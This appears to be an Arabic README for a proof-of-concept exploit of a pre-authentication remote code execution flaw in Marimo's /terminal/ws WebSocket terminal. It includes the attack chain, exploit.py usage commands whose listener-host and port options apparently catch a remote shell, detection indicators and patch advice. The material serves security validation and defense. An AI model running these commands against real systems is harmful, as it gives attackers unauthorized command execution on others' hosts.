
إثبات مفهوم لاستغلال CVE-2026-39987، وهي ثغرة تنفيذ برمجيات عن بُعد (RCE) قبل المصادقة في نقطة نهاية WebSocket الطرفية الخاصة بـ Marimo. يوضح تنفيذ الأوامر دون مصادقة ويتضمن اختبارات تحقق للمثيلات المعرضة للخطر والمصححة.
| الخاصية | القيمة |
|---|
| CVE | CVE-2026-39987 |
| المنتج | Marimo |
| الثغرة | تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة |
| ناقل الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | غير مطلوب |
| CWE | CWE-306 — غياب المصادقة للوظائف الحرجة |
| الخطورة | حرجة |
| الإصدار المُصحَّح | 0.23.0 |
CVE-2026-39987 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة تؤثر على Marimo، وهي بيئة دفاتر ملاحظات تفاعلية بلغة بايثون. تقع الثغرة في نقطة نهاية WebSocket الطرفية /terminal/ws.
تنشئ نقطة النهاية الطرفية المُعرَّضة للخطر PTY تفاعليًا بعد قبول اتصال WebSocket.
من الناحية المفاهيمية، يكون تدفق الطلب المُعرَّض للخطر كما يلي:
عميل بعيد
|
| اتصال WebSocket
v
/terminal/ws
|
| غياب التحقق من المصادقة
v
تم قبول WebSocket
|
v
تم إنشاء PTY
|
v
صدفة تفاعلية
الحد الأمني المهم هو غياب التحقق من المصادقة.
يجب ألا تسمح نقطة النهاية التي تعرض تنفيذ أوامر عشوائية لعميل غير مصادَق بالوصول إلى منطق إنشاء PTY.
الغرض من هذا المشروع هو إظهار، في بيئة خاضعة للتحكم، غياب فرض المصادقة الذي يؤثر على نقطة نهاية WebSocket الطرفية في Marimo.
يمكن لفرق الأمن استخدام المشروع من أجل:
تحذير: شغّل الـ PoC فقط ضد أنظمة تملكها أو لديك تفويض صريح لاختبارها.
يمكن تلخيص سلسلة الثغرة الكاملة على النحو التالي:
1. يكتشف المهاجم مثيل Marimo مكشوفًا
|
v
2. يتصل المهاجم بـ /terminal/ws
|
v
3. لا يتم فرض المصادقة
|
v
4. يتم قبول اتصال WebSocket
|
v
5. يتم إنشاء طرفية PTY
|
v
6. يحصل المهاجم على تنفيذ الأوامر
|
v
7. تُنفَّذ الأوامر كعملية Marimo
يحدث الفشل الأمني الحرج في الخطوة 3.
Python 3.7+
pip
وصول شبكي إلى الهدف المصرَّح به
# التثبيت الأساسي
pip install websocket-client
# التثبيت الكامل
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| المعامل | النوع | الوصف | الافتراضي |
|---|---|---|---|
-u, --url | string | عنوان URL الأساسي لمثيل Marimo الهدف | مطلوب |
--lhost | string | عنوان IP للمستمع | مطلوب |
--lport | int | منفذ المستمع (1-65535) | مطلوب |
--timeout | int | مهلة المستمع بالثواني | 15 |
--retries | int | محاولات إعادة اتصال WebSocket | 3 |
--retry-delay | float | التأخير بين المحاولات | 2.0 |
--no-verify-ssl | flag | تعطيل التحقق من شهادة SSL | False |
-v, --verbose | flag | تفعيل الإخراج التفصيلي | False |
-s, --silent | flag | كتم الإخراج | False |
المرحلة 1: التهيئة
↓ التحقق من المعاملات
↓ تكوين التسجيل
المرحلة 2: التحضير
↓ تهيئة المستمع
↓ إنشاء اتصال WebSocket
المرحلة 3: التحقق
↓ اختبار نقطة النهاية الطرفية
↓ التحقق من فرض المصادقة
↓ تسجيل سلوك الاتصال
المرحلة 4: الإثبات
↓ إنشاء جلسة اختبار مصرَّح بها
↓ التحقق من سياق تنفيذ الأوامر
↓ جمع أدلة التحقق
المرحلة 5: التنظيف
↓ استعادة حالة الطرفية
↓ إغلاق الاتصالات
↓ تحرير الموارد
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
النتيجة المتوقعة: تقبل نقطة النهاية الطرفية المُعرَّضة للخطر الاتصال غير المصادَق.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
النتيجة المتوقعة: يتم رفض الاتصال أو منعه بوسائل أخرى بواسطة ضوابط المصادقة.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
النتيجة المتوقعة: يتم الإبلاغ عن المهلة بشكل نظيف.
الخطورة: حرجة (CVSS 9.3)
التعقيد: منخفض
المصادقة: غير مطلوبة
الأثر: تنفيذ التعليمات البرمجية عن بُعد
البروتوكول: WebSocket
نقطة النهاية: /terminal/ws
الإصدار المُصحَّح: 0.23.0
يصنّف ملف README المصدر المشكلة على أنها CVSS 9.3 حرجة ويحدد CWE-306، وWebSocket كبروتوكول، و/terminal/ws كنقطة النهاية المتأثرة.
تشمل المؤشرات المحتملة للاستغلال اتصالات WebSocket غير المتوقعة إلى:
/terminal/ws
يجب على المدافعين التحقيق في:
قم بترقية Marimo إلى إصدار مُصحَّح:
0.23.0 أو أحدث
تشمل التوصيات الدفاعية الإضافية ما يلي:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
الخطورة: حرجة
النوع: RCE قبل المصادقة
البروتوكول: WebSocket
نقطة النهاية: /terminal/ws
المصادقة: غير مطلوبة
المُصحَّح: 0.23.0
للاستخدام المصرَّح به فقط
يُقدَّم هذا المشروع حصريًا من أجل:
الاستخدام غير المصرَّح به ممنوع منعًا باتًا وقد ينتهك القوانين المحلية والدولية المعمول بها.
يُقدَّم هذا المشروع لأغراض البحث الأمني، والتحقق من الثغرات، والأغراض التعليمية.
لا تستخدم الـ PoC ضد أنظمة لا تملكها أو ليس لديك تفويض صريح لاختبارها.
المسؤولون عن الصيانة غير مسؤولين عن إساءة الاستخدام، أو الاختبار غير المصرَّح به، أو الضرر، أو فقدان البيانات، أو أي عواقب ناتجة عن استخدام هذا المشروع.